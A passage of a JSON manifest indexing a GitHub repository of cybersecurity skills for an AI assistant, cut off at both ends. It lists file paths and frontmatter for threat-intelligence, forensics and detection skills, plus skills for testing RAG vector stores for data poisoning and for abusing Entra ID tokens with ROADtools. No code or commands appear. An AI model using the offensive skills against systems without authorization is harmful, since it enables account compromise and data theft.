actor.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["mitre-attack","navigator","threat-intelligence","apt","ttp-mapping","stix","attackcti"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1566.001","T1059.001","T1071.001","T1547.001","T1053.005"]},"isInternal":false,"tokens":693,"sizeBytes":2666},{"name":"api-reference.md","path":"skills/analyzing-threat-intelligence-feeds/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-threat-intelligence-feeds/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-intelligence-feeds%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":677,"sizeBytes":2326},{"name":"SKILL.md","path":"skills/analyzing-threat-intelligence-feeds/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-threat-intelligence-feeds/SKILL.md","title":"analyzing-threat-intelligence-feeds","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-intelligence-feeds%2FSKILL.md -->","frontmatter":{"name":"analyzing-threat-intelligence-feeds","description":"Analyzes structured and unstructured threat intelligence feeds to extract actionable indicators, adversary tactics, and campaign context. Use when ingesting commercial or open-source CTI feeds, evaluating feed quality, normalizing data into STIX 2.1 format, or enriching existing IOCs with campaign attribution. Activates for requests involving ThreatConnect, Recorded Future, Mandiant Advantage, MISP, AlienVault OTX, or automated feed aggregation pipelines.\n","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["STIX","TAXII","MITRE-ATT&CK","IOC","ThreatConnect","Recorded-Future","MISP","CTI","NIST-CSF"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1071.001","T1566","T1568","T1583.001","T1102"]},"isInternal":false,"tokens":1501,"sizeBytes":6274},{"name":"api-reference.md","path":"skills/analyzing-threat-landscape-with-misp/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-threat-landscape-with-misp/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-landscape-with-misp%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":518,"sizeBytes":1748},{"name":"SKILL.md","path":"skills/analyzing-threat-landscape-with-misp/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-threat-landscape-with-misp/SKILL.md","title":"analyzing-threat-landscape-with-misp","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-landscape-with-misp%2FSKILL.md -->","frontmatter":{"name":"analyzing-threat-landscape-with-misp","description":"Query a MISP (Malware Information Sharing Platform) instance via PyMISP to compute event statistics, IOC type breakdowns, threat actor galaxy clusters, and tag trends, and generate threat landscape reports with temporal trends. Use when asked to analyze threat intelligence data, summarize top threat actors or malware families, or produce a CTI landscape report from MISP events.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","misp","threat-landscape","ioc-analysis","cti","threat-sharing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["File Metadata Consistency Validation","Application Protocol Command Analysis","Identifier Analysis","Content Format Conversion","Message Analysis"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1566","T1071.001","T1568","T1583.001","T1102"]},"isInternal":false,"tokens":579,"sizeBytes":2385},{"name":"api-reference.md","path":"skills/analyzing-tls-certificate-transparency-logs/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-tls-certificate-transparency-logs/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-tls-certificate-transparency-logs%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":399,"sizeBytes":1512},{"name":"SKILL.md","path":"skills/analyzing-tls-certificate-transparency-logs/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-tls-certificate-transparency-logs/SKILL.md","title":"analyzing-tls-certificate-transparency-logs","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-tls-certificate-transparency-logs%2FSKILL.md -->","frontmatter":{"name":"analyzing-tls-certificate-transparency-logs","description":"Queries Certificate Transparency logs via crt.sh and pycrtsh to detect phishing domains, unauthorized certificate issuance, and shadow IT. Monitors newly issued certificates for typosquatting and brand impersonation using Levenshtein distance. Use for proactive phishing domain detection and certificate monitoring.\n","domain":"cybersecurity","subdomain":"security-operations","tags":["certificate-transparency","ct-logs","crt-sh","phishing-detection","tls-monitoring","security-operations"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0073","AML.T0052"],"nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1583.001","T1566.002","T1598.003","T1583.006"],"mitre_f3":{"version":"1.1","tactics":["reconnaissance","resource-development","initial-access"],"techniques":[{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1593","name":"Search Open Websites/Domains","tactic":"reconnaissance","source":"attack"},{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"}]}},"isInternal":false,"tokens":743,"sizeBytes":2979},{"name":"api-reference.md","path":"skills/analyzing-typosquatting-domains-with-dnstwist/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-typosquatting-domains-with-dnstwist/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-typosquatting-domains-with-dnstwist%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":632,"sizeBytes":2155},{"name":"SKILL.md","path":"skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md","title":"analyzing-typosquatting-domains-with-dnstwist","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-typosquatting-domains-with-dnstwist%2FSKILL.md -->","frontmatter":{"name":"analyzing-typosquatting-domains-with-dnstwist","description":"Generate domain permutations with dnstwist and check DNS resolution to detect typosquatting, homograph phishing, and brand impersonation domains registered against your organization. Use when asked to monitor for lookalike domains, investigate a phishing domain, or assess brand-impersonation risk.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["dnstwist","typosquatting","phishing","domain-monitoring","brand-protection","homograph","dns","threat-intelligence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0073","AML.T0052"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1583.001","T1566.002","T1598.003","T1583.006"],"mitre_f3":{"version":"1.1","tactics":["resource-development","reconnaissance","initial-access"],"techniques":[{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1593","name":"Search Open Websites/Domains","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"}]}},"isInternal":false,"tokens":3106,"sizeBytes":13041},{"name":"api-reference.md","path":"skills/analyzing-uefi-bootkit-persistence/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-uefi-bootkit-persistence/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-uefi-bootkit-persistence%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":1481,"sizeBytes":5768},{"name":"SKILL.md","path":"skills/analyzing-uefi-bootkit-persistence/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-uefi-bootkit-persistence/SKILL.md","title":"analyzing-uefi-bootkit-persistence","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-uefi-bootkit-persistence%2FSKILL.md -->","frontmatter":{"name":"analyzing-uefi-bootkit-persistence","description":"Analyzes UEFI bootkit persistence (SPI flash implants, ESP modifications, Secure Boot bypass, UEFI variable manipulation) using chipsec for firmware integrity verification, detecting known families like BlackLotus, LoJax, and MoonBounce. Use for UEFI malware analysis, firmware persistence investigation, or Secure Boot bypass detection.\n","domain":"cybersecurity","subdomain":"firmware-security","tags":["UEFI","bootkit","firmware","Secure-Boot","chipsec","ESP","persistence"],"version":"1.0.0","author":"mukul975","license":"Apache-2.0","d3fend_techniques":["Platform Hardening","Restore Object","Platform Monitoring","Firmware Verification","Firmware Embedded Monitoring Code"],"nist_csf":["ID.RA-01","PR.PS-01","PR.PS-02"],"mitre_attack":["T1542.001","T1542.003","T1553.006","T1542","T1014"]},"isInternal":false,"tokens":3643,"sizeBytes":14760},{"name":"api-reference.md","path":"skills/analyzing-usb-device-connection-history/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-usb-device-connection-history/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-usb-device-connection-history%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":595,"sizeBytes":2194},{"name":"SKILL.md","path":"skills/analyzing-usb-device-connection-history/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-usb-device-connection-history/SKILL.md","title":"analyzing-usb-device-connection-history","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-usb-device-connection-history%2FSKILL.md -->","frontmatter":{"name":"analyzing-usb-device-connection-history","description":"Correlate Windows registry keys (USBSTOR, MountedDevices), Event Logs, and setupapi.dev.log to reconstruct USB device connection history, first/last-plugged timestamps, and drive letter mappings. Use when investigating removable media usage, tracking device provenance, or building a timeline for suspected data exfiltration.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","usb-forensics","removable-media","registry-analysis","data-exfiltration","device-history"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1052.001","T1025","T1091","T1005","T1074.001"]},"isInternal":false,"tokens":3372,"sizeBytes":13470},{"name":"api-reference.md","path":"skills/analyzing-web-server-logs-for-intrusion/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-web-server-logs-for-intrusion/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-web-server-logs-for-intrusion%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":470,"sizeBytes":1450},{"name":"SKILL.md","path":"skills/analyzing-web-server-logs-for-intrusion/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-web-server-logs-for-intrusion/SKILL.md","title":"analyzing-web-server-logs-for-intrusion","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-web-server-logs-for-intrusion%2FSKILL.md -->","frontmatter":{"name":"analyzing-web-server-logs-for-intrusion","description":"Parse Apache and Nginx access logs to detect SQL injection attempts, local file inclusion, directory traversal, web scanner fingerprints, and brute-force patterns. Uses regex-based pattern matching against OWASP attack signatures, GeoIP enrichment for source attribution, and statistical anomaly detection for request frequency and response size outliers.","domain":"cybersecurity","subdomain":"security-operations","tags":["web-log-analysis","apache-logs","nginx-logs","sql-injection-detection","lfi-detection","directory-traversal","intrusion-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","RS.MA-01","GV.OV-01","DE.AE-02"],"mitre_attack":["T1190","T1059.007","T1110","T1595.002","T1505.003"]},"isInternal":false,"tokens":693,"sizeBytes":2574},{"name":"api-reference.md","path":"skills/analyzing-windows-amcache-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-amcache-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-amcache-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":504,"sizeBytes":2076},{"name":"SKILL.md","path":"skills/analyzing-windows-amcache-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-amcache-artifacts/SKILL.md","title":"analyzing-windows-amcache-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-amcache-artifacts%2FSKILL.md -->","frontmatter":{"name":"analyzing-windows-amcache-artifacts","description":"Parses the Windows Amcache.hve registry hive with Eric Zimmerman's AmcacheParser and Timeline Explorer to extract evidence of program execution, application installation, and driver loading, including SHA-1 hash correlation with threat intel and timeline reconstruction. Use for Amcache forensics, program execution evidence gathering, or application compatibility cache investigations in DFIR work.\n","domain":"cybersecurity","subdomain":"digital-forensics","tags":["amcache","windows-forensics","program-execution","AmcacheParser","eric-zimmerman","timeline-analysis","DFIR"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1070.004","T1070.006","T1036.005","T1014","T1005"]},"isInternal":false,"tokens":2651,"sizeBytes":11173},{"name":"api-reference.md","path":"skills/analyzing-windows-event-logs-in-splunk/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-event-logs-in-splunk/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-event-logs-in-splunk%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":570,"sizeBytes":2035},{"name":"SKILL.md","path":"skills/analyzing-windows-event-logs-in-splunk/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-event-logs-in-splunk/SKILL.md","title":"analyzing-windows-event-logs-in-splunk","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-event-logs-in-splunk%2FSKILL.md -->","frontmatter":{"name":"analyzing-windows-event-logs-in-splunk","description":"Analyzes Windows Security, System, and Sysmon event logs in Splunk to detect authentication attacks, privilege escalation, persistence mechanisms, and lateral movement using SPL queries mapped to MITRE ATT&CK techniques. Use when SOC analysts need to investigate Windows-based threats, build detection queries, or perform forensic timeline analysis of Windows endpoints and domain controllers.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","splunk","windows-events","sysmon","event-logs","mitre-attack","active-directory"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access"],"nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1110","T1053.005","T1547.001","T1021.002","T1558.003","T1003.006"]},"isInternal":false,"tokens":3193,"sizeBytes":11385},{"name":"api-reference.md","path":"skills/analyzing-windows-lnk-files-for-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-lnk-files-for-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-lnk-files-for-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":658,"sizeBytes":2301},{"name":"SKILL.md","path":"skills/analyzing-windows-lnk-files-for-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-lnk-files-for-artifacts/SKILL.md","title":"analyzing-windows-lnk-files-for-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-lnk-files-for-artifacts%2FSKILL.md -->","frontmatter":{"name":"analyzing-windows-lnk-files-for-artifacts","description":"Parse Windows LNK shortcut files to extract target paths, MAC timestamps, volume serial numbers, and machine identifiers for forensic timeline reconstruction. Use when investigating recently-accessed files, tracking removable media or network paths referenced by shortcuts, or building a DFIR timeline from LNK artifacts.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","lnk-files","windows-artifacts","shortcut-analysis","timeline-reconstruction","evidence-collection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1547.001","T1204.002","T1005","T1025","T1074.001"]},"isInternal":false,"tokens":3219,"sizeBytes":12814},{"name":"api-reference.md","path":"skills/analyzing-windows-prefetch-with-python/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-prefetch-with-python/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-prefetch-with-python%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":501,"sizeBytes":1769},{"name":"SKILL.md","path":"skills/analyzing-windows-prefetch-with-python/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-prefetch-with-python/SKILL.md","title":"analyzing-windows-prefetch-with-python","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-prefetch-with-python%2FSKILL.md -->","frontmatter":{"name":"analyzing-windows-prefetch-with-python","description":"Parse Windows Prefetch (.pf) files with the windowsprefetch Python library to reconstruct application execution history, run counts, and accessed file/volume lists. Use when investigating renamed or masquerading binaries, verifying program execution timelines, or hunting for suspicious execution patterns in incident response.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["digital-forensics","windows","prefetch","execution-history","incident-response","malware-analysis"],"mitre_attack":["T1036.005","T1070.004","T1070","T1003.001","T1057"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"]},"isInternal":false,"tokens":1485,"sizeBytes":5030},{"name":"api-reference.md","path":"skills/analyzing-windows-registry-for-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-registry-for-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-registry-for-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":582,"sizeBytes":2135},{"name":"SKILL.md","path":"skills/analyzing-windows-registry-for-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-registry-for-artifacts/SKILL.md","title":"analyzing-windows-registry-for-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-registry-for-artifacts%2FSKILL.md -->","frontmatter":{"name":"analyzing-windows-registry-for-artifacts","description":"Extract and analyze Windows Registry hives with tools like RegRipper and Registry Explorer to uncover user activity, installed software, autostart/persistence entries, and evidence of system compromise. Use when investigating registry-based persistence, reconstructing user or system activity, or performing DFIR triage on a Windows image.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","windows-registry","artifact-analysis","regripper","registry-explorer","evidence-collection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1012","T1547.001","T1112","T1003.002","T1025"]},"isInternal":false,"tokens":3084,"sizeBytes":11767},{"name":"template.md","path":"skills/analyzing-windows-shellbag-artifacts/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-shellbag-artifacts/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":103,"sizeBytes":415},{"name":"api-reference.md","path":"skills/analyzing-windows-shellbag-artifacts/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-shellbag-artifacts/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":582,"sizeBytes":2188},{"name":"standards.md","path":"skills/analyzing-windows-shellbag-artifacts/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-shellbag-artifacts/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":157,"sizeBytes":589},{"name":"workflows.md","path":"skills/analyzing-windows-shellbag-artifacts/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-shellbag-artifacts/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":85,"sizeBytes":342},{"name":"SKILL.md","path":"skills/analyzing-windows-shellbag-artifacts/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-windows-shellbag-artifacts/SKILL.md","title":"analyzing-windows-shellbag-artifacts","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2FSKILL.md -->","frontmatter":{"name":"analyzing-windows-shellbag-artifacts","description":"Analyze Windows Shellbag (BagMRU) registry artifacts with SBECmd and Shellbags Explorer to reconstruct folder browsing activity and prove user interaction with directories, including removable media and network shares, even after the folders are deleted. Use when reconstructing a user's folder access history or proving access to a since-removed directory in DFIR work.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["shellbags","windows-registry","sbecmd","shellbags-explorer","folder-access","user-activity","removable-media","network-shares","bagmru","dfir"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1083","T1074.001","T1135","T1025","T1070.004"]},"isInternal":false,"tokens":2363,"sizeBytes":9163},{"name":"api-reference.md","path":"skills/assessing-vector-and-embedding-weaknesses/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/assessing-vector-and-embedding-weaknesses/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fassessing-vector-and-embedding-weaknesses%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":584,"sizeBytes":2344},{"name":"standards.md","path":"skills/assessing-vector-and-embedding-weaknesses/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/assessing-vector-and-embedding-weaknesses/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fassessing-vector-and-embedding-weaknesses%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":452,"sizeBytes":1958},{"name":"SKILL.md","path":"skills/assessing-vector-and-embedding-weaknesses/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/assessing-vector-and-embedding-weaknesses/SKILL.md","title":"assessing-vector-and-embedding-weaknesses","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fassessing-vector-and-embedding-weaknesses%2FSKILL.md -->","frontmatter":{"name":"assessing-vector-and-embedding-weaknesses","description":"Test RAG vector stores (Pinecone, Qdrant, Weaviate, Chroma, pgvector, FAISS) for embedding inversion, cross-tenant data leakage, and data poisoning per OWASP LLM08:2025. Use when performing an authorized security assessment of a RAG pipeline's retrieval layer or auditing multi-tenant vector-store isolation.","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","vector-database","embedding-inversion","rag-security","owasp-llm08","multi-tenant-isolation","data-poisoning","retrieval-augmented-generation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7"],"atlas_techniques":["AML.T0024"]},"isInternal":false,"tokens":2798,"sizeBytes":12074},{"name":"api-reference.md","path":"skills/attacking-entra-id-with-roadtools/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/attacking-entra-id-with-roadtools/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-entra-id-with-roadtools%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":972,"sizeBytes":3118},{"name":"standards.md","path":"skills/attacking-entra-id-with-roadtools/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/attacking-entra-id-with-roadtools/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-entra-id-with-roadtools%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":328,"sizeBytes":1480},{"name":"SKILL.md","path":"skills/attacking-entra-id-with-roadtools/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/attacking-entra-id-with-roadtools/SKILL.md","title":"attacking-entra-id-with-roadtools","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-entra-id-with-roadtools%2FSKILL.md -->","frontmatter":{"name":"attacking-entra-id-with-roadtools","description":"Enumerate Microsoft Entra ID (Azure AD) tenants with ROADrecon and acquire, exchange, and abuse tokens (including primary 